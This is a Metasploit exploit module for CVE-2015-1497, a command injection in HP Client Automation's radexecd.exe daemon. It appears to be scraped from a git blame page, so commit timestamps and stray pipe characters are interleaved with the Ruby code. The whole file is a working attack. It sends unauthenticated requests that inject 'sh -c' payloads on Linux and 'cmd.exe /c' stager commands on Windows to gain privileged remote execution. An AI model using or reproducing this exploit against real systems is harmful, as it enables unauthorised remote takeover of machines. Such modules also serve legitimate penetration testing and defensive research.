2015-02-20 06:41:17 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2015-02-20 06:41:17 +00:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::CmdStager
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HP Client Automation Command Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command injection vulnerability on HP Client Automation, distributed
|
|
|
|
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
|
2015-02-24 18:29:11 +00:00
|
|
|
Daemon (radexecd.exe), which doesn't authenticate execution requests by default.
|
|
|
|
|
|
|
|
This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
|
2015-02-20 06:41:17 +00:00
|
|
|
and CentOS 5.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Ben Turner', # Vulnerability discovery
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-1497'],
|
|
|
|
['ZDI', '15-038'],
|
|
|
|
['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => %w{ unix win },
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'WfsDelay' => 10
|
|
|
|
},
|
|
|
|
'Payload' => {'DisableNops' => true},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'HP Client Automation 9.0.0 / Linux',
|
|
|
|
{
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 466,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'openssl telnet generic gawk'
|
|
|
|
},
|
|
|
|
'BadChars' => "\x27"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'HP Client Automation 9.0.0 / Windows',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jan 02 2014'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3465)
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
deregister_options('CMDSTAGER::FLAVOR')
|
|
|
|
deregister_options('CMDSTAGER::DECODER')
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
sock.put("\x00") # port
|
|
|
|
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
|
|
|
|
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
|
|
|
sock.put("hide\x00") # command
|
2015-02-20 07:06:47 +00:00
|
|
|
res = sock.get_once
|
2015-02-20 06:41:17 +00:00
|
|
|
disconnect
|
|
|
|
|
2015-02-20 07:06:47 +00:00
|
|
|
if res && res.unpack('C')[0] == 0
|
2015-02-20 06:41:17 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
case target['Platform']
|
|
|
|
when 'win'
|
|
|
|
print_status('Exploiting Windows target...')
|
2015-02-20 07:06:47 +00:00
|
|
|
execute_cmdstager({:flavor => :vbs, :linemax => 290})
|
2015-02-20 06:41:17 +00:00
|
|
|
when 'unix'
|
|
|
|
print_status('Exploiting Linux target...')
|
|
|
|
exploit_unix
|
|
|
|
else
|
|
|
|
fail_with(Failure::NoTarget, 'Invalid target')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_unix
|
|
|
|
connect
|
|
|
|
sock.put("\x00") # port
|
|
|
|
sock.put("0\x00") # user ID
|
|
|
|
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
|
|
|
sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
connect
|
|
|
|
sock.put("\x00") # port
|
|
|
|
sock.put("S-1-5-18\x00") # user ID
|
|
|
|
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
|
|
|
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
|
2015-02-20 07:06:47 +00:00
|
|
|
res = sock.get_once
|
2015-02-20 06:41:17 +00:00
|
|
|
disconnect
|
2015-02-20 07:06:47 +00:00
|
|
|
unless res && res.unpack('C')[0] == 0
|
|
|
|
fail_with(Failure::Unknown, "Something failed executing the stager...")
|
|
|
|
end
|
2015-02-20 06:41:17 +00:00
|
|
|
end
|
|
|
|
end
|